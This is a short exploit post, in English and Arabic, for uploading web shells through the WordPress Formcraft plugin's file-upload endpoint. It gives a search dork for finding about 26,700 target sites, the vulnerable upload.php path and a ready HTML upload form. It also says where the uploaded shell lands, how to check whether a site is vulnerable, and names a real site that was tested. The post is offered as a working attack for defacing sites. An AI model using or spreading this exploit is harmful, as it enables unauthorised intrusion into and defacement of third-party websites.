"powered by Formcraft" Deface exploit wp upload

Formcraft

^_^

- Dork : "powered by Formcraft"

  About 26,700

- Vuln : {"failed":"No file found 2"}

- Exploit : wp-content/plugins/formcraft/file-upload/server/php/upload.php

- Your Accses Shell / File : wp-content/plugins/formcraft/file-upload/server/php/files/[randomcode]nameshell.php

- الاستغلال :

<form method="POST" action="target.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

نحفظه بصيغة html

نشوف كيفية معرفة الاصابة في الموقع

الصفحة بيضاء ==> الموقع ليس مصاب

توجد ايضا مواقع مصابة لكن لا تقبل رفع الشل مثل هذا الموقع

http://www.sunnyhill.org/

الموقع لم يقبل رفع الشل

{"failed":"Not writable"}